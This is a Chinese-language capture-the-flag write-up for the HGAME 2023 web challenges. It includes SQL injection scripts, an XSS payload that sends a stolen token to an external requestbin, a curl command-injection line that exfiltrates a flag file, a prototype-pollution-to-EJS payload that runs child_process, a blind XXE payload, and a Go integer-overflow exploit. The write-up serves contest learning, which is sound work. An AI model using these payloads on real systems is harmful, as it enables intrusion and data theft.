HGAME 2023 Web Writeup

HGAME 2023

Week 1

Classic Childhood Game

1
http://week-1.hgame.lwsec.cn:31455/Res/Events.js

有这么一段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function mota() {
  var a = ['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'];
  (function (b, e) {
    var f = function (g) {
      while (--g) {
        b['push'](b['shift']());
      }
    };
    f(++e);
  }(a, 0x198));
  var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['CFrzVf'] === undefined) {
      (function () {
        var g;
        try {
          var i = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
          g = i();
        } catch (j) {
          g = window;
        }
        var h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        g['atob'] || (g['atob'] = function (k) {
          var l = String(k)['replace'](/=+$/, '');
          var m = '';
          for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {
            p = h['indexOf'](p);
          }
          return m;
        });
      }());
      b['fqlkGn'] = function (g) {
        var h = atob(g);
        var j = [];
        for (var k = 0x0, l = h['length']; k < l; k++) {
          j += '%' + ('00' + h['charCodeAt'](k)['toString'](0x10))['slice'](-0x2);
        }
        return decodeURIComponent(j);
      };
      b['iBPtNo'] = {};
      b['CFrzVf'] = !![];
    }
    var f = b['iBPtNo'][c];
    if (f === undefined) {
      e = b['fqlkGn'](e);
      b['iBPtNo'][c] = e;
    } else {
      e = f;
    }
    return e;
  };
  alert(atob(b('\x30\x78\x30')));
}

Become A Member

Guess Who I Am

右键查看源码

1
<!-- Hint: https://github.com/Potat0000/Vidar-Website/blob/master/src/scripts/config/member.js -->

python 脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re
import time

import json

data =  [....] # 省略

s = requests.Session()

for i in range(100):
    res1 = s.get('http://week-1.hgame.lwsec.cn:32049/api/getQuestion')
    question = json.loads(res1.text)
    for i in data:
        if i['intro'] == question['message']:
            res2 = s.post('http://week-1.hgame.lwsec.cn:32049/api/verifyAnswer', data={'id': i['id']})
            print(res2.text)
            break

print(s.cookies)

改 cookie 之后再访问一下

Show Me Your Beauty

简单上传

Week 2

Git Leakage

dumpall 跑一下

v2board

https://github.com/prismbreak/v2board-1.6.1-exp

hgame{39d580e71705f6abac9a414def74c466}

Search Commodity

用户名 user01

密码用 burp intruder 随便找个 top3000 字典跑一下, 结果是 admin123

之后是一个数字型 mysql 注入, 并且过滤了 /**/ = > < [空格] select from database where

后面几个关键字试出来都是直接 replace, 所以用双写就可以绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
import json
import re
from urllib.parse import quote

dicts = r'{},.-0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz'

flag = ''

for i in range(1, 99999):
    for s in range(32,127):
        cookies = {
            'SESSION':'MTY3MzYxMjI3NXxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT1819EjuKIg8HRNvUp9g5dHKvQhbBTVvPnFni3NaQiXCZE='
        }
        url = 'http://week-2.hgame.lwsec.cn:31537/search'
        # payload = "if(ascii(substr((selselectect/*123*/group_concat(table_name)/*123*/frfromom/*123*/infoorrmation_schema.tables/*123*/whwhereere/*123*/table_schema/*123*/like/*123*/datdatabaseabase()),{},1)) like '{}',1,0)".format(i, s)
        # payload = "if(ascii(substr((selselectect/*123*/group_concat(column_name)/*123*/frfromom/*123*/infoorrmation_schema.columns/*123*/whwhereere/*123*/table_name/*123*/like/*123*/'5ecret15here'),{},1)) like '{}',1,0)".format(i, s)
        payload = "if(ascii(substr((selselectect/*123*/f14gggg1shere/*123*/frfromom/*123*/5ecret15here),{},1)) like '{}',1,0)".format(i, s)
        data = {'search_id': payload}
        print(chr(s))
        res = requests.post(url, cookies=cookies, data=data)
        if 'Error Occurred' in res.text:
            print('error')
            quit()
        if 'Not Found' not in res.text:
            flag += chr(s)
            print('found!!!', flag)
            break

hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}

Designer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
const express = require("express")
const jwt = require("jsonwebtoken")
const puppeteer = require('puppeteer')
const querystring = require('node:querystring')

const app = express()

app.use(express.static("./static"))
app.use(express.json())
app.set("view engine", "ejs")
app.set("views", "views")
app.use(express.urlencoded({ extended: false }))

const secret = "secret_here"

function auth(req, res, next) {
  const token = req.headers["authorization"]
  if (!token) {
    return res.redirect("/")
  }
  try {
    const decoded = jwt.verify(token, secret) || {}
    req.user = decoded
  } catch {
    return res.status(500).json({ msg: "jwt decode error" })
  }
  next()
}

app.get("/", (req, res) => {
  res.render("register")
})

app.post("/user/register", (req, res) => {
  const username = req.body.username
  let flag = "hgame{fake_flag_here}"
  if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
    flag = "hgame{true_flag_here}"
  }
  const token = jwt.sign({ username, flag }, secret)
  res.json({ token })
})

app.get("/user/info", auth, (req, res) => {
  res.json({ username: req.user.username, flag: req.user.flag })
})

app.post("/button/save", auth, (req, res) => {
  req.user.style = {}
  for (const key in req.body) {
    req.user.style[key] = req.body[key]
  }
  const token = jwt.sign(req.user, secret)
  res.json({ token })
})

app.get("/button/get", auth, (req, res) => {
  const style = req.user.style
  res.json({ style })
})

app.get("/button/edit", (req, res) => {
  // render a button
  res.render("button")
})

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

app.listen(9090)

/button/preview 存在反射 xss

通过 localStorage 先拿到 admin token, 然后访问 /user/info 得到 flag

1
2
3
document.getElementById("button").onclick = function(){
    document.location = "http://http.requestbin.buuoj.cn/1j0pygf1?token=" + localStorage.getItem("token");
}

eval 编码绕过 blacklist

1
"><script>eval("\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0067\u0065\u0074\u0045\u006C\u0065\u006D\u0065\u006E\u0074\u0042\u0079\u0049\u0064\u0028\u0022\u0062\u0075\u0074\u0074\u006F\u006E\u0022\u0029\u002E\u006F\u006E\u0063\u006C\u0069\u0063\u006B\u0020\u003D\u0020\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0028\u0029\u007B\u000A\u0020\u0020\u0020\u0020\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u006C\u006F\u0063\u0061\u0074\u0069\u006F\u006E\u0020\u003D\u0020\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0068\u0074\u0074\u0070\u002E\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u0062\u0069\u006E\u002E\u0062\u0075\u0075\u006F\u006A\u002E\u0063\u006E\u002F\u0031\u006A\u0030\u0070\u0079\u0067\u0066\u0031\u003F\u0074\u006F\u006B\u0065\u006E\u003D\u0022\u0020\u002B\u0020\u006C\u006F\u0063\u0061\u006C\u0053\u0074\u006F\u0072\u0061\u0067\u0065\u002E\u0067\u0065\u0074\u0049\u0074\u0065\u006D\u0028\u0022\u0074\u006F\u006B\u0065\u006E\u0022\u0029\u003B\u000A\u007D");</script>

Week 3

Login To Get My Gift

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import json
import re

# dicts = r'{},-0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz'
dicts = '0123456789abcdef'

flag = ''

for i in range(1, 99999):
    for s in dicts:
        print(s)
        url = 'http://week-3.hgame.lwsec.cn:32291/login'
        # payload = "if((select\ntable_name\nregexp\n'^{}'\nfrom\ninformation_schema.tables\nwhere\ntable_schema\nregexp\ndatabase()\nlimit\n0,1),1,0)".format(flag + s)
        payload = "if((select\nhex(USERN4ME)\nregexp\n'^{}'\nfrom\nUser1nf0mAt1on\nlimit\n0,1),1,0)".format(flag + s)
        payload = "if((select\nhex(PASSW0RD)\nregexp\n'^{}'\nfrom\nUser1nf0mAt1on\nlimit\n0,1),1,0)".format(flag + s)
        data = {
            'username': "xxx'xor\n{}#".format(payload),
            'password': '123'
            }
        res = requests.post(url, data=data)
        if 'Detected' in res.text:
            print('waf')
            quit()
        if 'Internal Error' in res.text:
            print('error')
            quit()
        if 'Success' in res.text:
            flag += s
            print('found!!!', flag)
            break
    if len(flag) != i:
        print('some char missing')
1
2
Username: hgAmE2023HAppYnEwyEAr
Password: WeLc0meT0hgAmE2023hAPPySql

hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}

Gopher Shop

贴一下关键部分的代码

/internal/user/user.go

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
......

func BuyProduct(context *gin.Context) {
	username, _ := context.Get("username")

	user, err := db.GetUserByUsername(username.(string))
	if err != nil {
		return
	}
	product := context.Query("product")
	price, err := db.GetProductPrice(product)
	number, err := strconv.Atoi(context.Query("number"))

	//校验是否买的起
	if err != nil || number < 1 || user.Balance < uint(number) * price{
		context.JSON(400, gin.H{"error": "invalid request"})
		return
	}

	user.Days -= 1
	user.Inventory -= uint(number)
	user.Balance -= uint(number) * price

	//扣除库存和余额
	err = db.UpdateUserInfo(user)

	if err != nil {
		context.JSON(500, gin.H{"error": "delete balance and inventory error"})
		return
	}

	err = db.AddOrder(username.(string), product, uint(number), true)

	if err != nil {
		context.JSON(500, gin.H{"error": "add order error"})
		return
	}

	context.JSON(200, gin.H{"message": "success"})
}

func SellProduct(context *gin.Context) {
	username, _ := context.Get("username")

	user, err := db.GetUserByUsername(username.(string))
	if err != nil {
		return
	}
	product := context.Query("product")
	price, err := db.GetProductPrice(product)
	number, err := strconv.Atoi(context.Query("number"))
	sum, err := utils.GetOrderSum(username.(string))
	_, exist := sum[product]
	if !exist {
		sum[product] = 0
	}

	//校验是否卖的出
	if err != nil || number < 1 || sum[product] == 0 || uint(number) > sum[product] {
		context.JSON(400, gin.H{"error": "invalid request"})
		return
	}

	user.Days -= 1
	user.Inventory += uint(number)
	user.Balance += uint(number) * price
	err = db.UpdateUserInfo(user)

	if err != nil {
		context.JSON(500, gin.H{"error": "add balance and inventory error"})
		return
	}

	err = db.AddOrder(username.(string), product, uint(number), false)
	if err != nil {
		context.JSON(500, gin.H{"error": "add order error"})
		return
	}

	context.JSON(200, gin.H{"message": "success"})

}

func GetOrderSum(context *gin.Context) {
	username, _ := context.Get("username")
	sum, err := utils.GetOrderSum(username.(string))
	if err != nil {
		context.JSON(500, gin.H{"error": "get order sum error"})
		return
	}
	context.JSON(200, gin.H{"orderSum": sum})
}

......

func CheckFlag(context *gin.Context) {
	username, _ := context.Get("username")

	//查询是否购买过flag
	sum, err := utils.GetOrderSum(username.(string))
	if err != nil {
		return
	}

	_, exist := sum["Flag"]

	if !exist {
		context.JSON(500, gin.H{"error": "check flag error"})
		return
	}

	context.JSON(200, gin.H{"message": config.Secret.Flag})
}

/internal/db/mysql.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
......
list := []Product{
    {Name: "Apple", Price: 10},
    {Name: "Unstable wifi for 300b", Price: 20},
    {Name: "ek1ng's broken desktop computer", Price: 30},
    {Name: "4cute's Vidar custom meal card", Price: 40},
    {Name: "300b 64-core server", Price: 50},
    {Name: "Vidar Clubwear", Price: 200},
    {Name: "Large 32-inch TV", Price: 300},
    {Name: "The Switch at 300b", Price: 500},
    {Name: "A hair of the 4nsw3r", Price: 999999},
    {Name: "Flag", Price: 10000000000000000000},
}
......

题目考察 go 语言整数溢出

strconv.Atoi() 返回的类型为 int, 在 64 位环境下代表 int64

同理 uint 代表 uint64

int64 范围 -9223372036854775808 to 9223372036854775807

uint64 范围 0 to 18446744073709551615

一个简单的加法溢出如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package main

import "fmt"

func main(){
	var a uint = 18446744073709551615;
	fmt.Println(a + 1)
    fmt.Println(a + 2)
    fmt.Println(a + 3)
}
1
2
3
0
1
2

回到题目代码中的 BuyProduct 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
......
product := context.Query("product")
price, err := db.GetProductPrice(product)
number, err := strconv.Atoi(context.Query("number"))

//校验是否买的起
if err != nil || number < 1 || user.Balance < uint(number) * price{
    context.JSON(400, gin.H{"error": "invalid request"})
    return
}

user.Days -= 1
user.Inventory -= uint(number)
user.Balance -= uint(number) * price
......

其中 uint(number) * price 表达式可以整数溢出

首先根据上面 uint64 的范围以及溢出规则可以得到如下关系

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
18446744073709551616 == 0
18446744073709551617 == 1
18446744073709551618 == 2
18446744073709551619 == 3
18446744073709551620 == 4
18446744073709551621 == 5
18446744073709551622 == 6
18446744073709551623 == 7
18446744073709551624 == 8
18446744073709551625 == 9
18446744073709551625 == 10

要想购买 flag, 我们需要将上面的数字分解得到 number 和 price, 并且保证它们都是整数

而 price 只能取 10 20 30 40 50 200 300 500 999999 10000000000000000000

因为 flag 的 price 为 10000000000000000000, 这样得到的 number 只会是小数, 所以需要换一个思路, 即先购买其它价格的商品, 然后再正常卖出得到足够数量 balance, 最后购买 flag

简单观察可以发现 18446744073709551620 这个末位带 0 的数字

1
2
18446744073709551620 / 10 = 1844674407370955162
18446744073709551620 / 20 = 922337203685477581

而且刚好 1844674407370955162 这个数没有超过 int64 的范围 (strconv.Atoi() 传入的数字超出 int64 的范围会报错)

所以构造 number 为 1844674407370955162, price 为 10, 购买商品

然后算一下购买 flag 需要卖出多少个 Apple, 结果是 1000000000000000000

最后购买 flag

hgame{GopherShop_M@gic_1nt_0verflow}

Ping To The Host

1
ip=127.0.0.1%0acurl${IFS}x.x.x.x:yyyy${IFS}-X${IFS}POST${IFS}-d${IFS}"`c\at${IFS}/fla\g_is_here_haha`"

Week 4

Shared Diary

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        } 
    }
    res.render('login', {message: ""});
});

app.all('/', (req, res) => {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    }
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');

原型链污染, 过滤了 __proto__, 用 constructor.prototype 绕过

之后是 ejs 模板注入

https://www.anquanke.com/post/id/236354

1
2
3
4
5
6
7
8
9
{
    "username":"admin",
    "password":"123456",
    "constructor":{
        "prototype":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');" 
        }
    }
}

hgame{N0tice_prototype_pollution&&EJS_server_template_injection}

Tell Me

blind xxe, 用错误回显外带数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ELEMENT message ANY>
    <!ENTITY % file SYSTEM "file:///var/www/html/flag.php">
    <!ENTITY % eval1 '
        <!ENTITY &#x25; eval2 "
            <!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;file;&#x27;>
        ">
        &#x25;eval2;
    '>
    %eval1;
]>
<user><name>123</name><email>123</email><content>123</content></user>

hgame{Be_Aware_0f_XXeBl1nd1njecti0n}

0%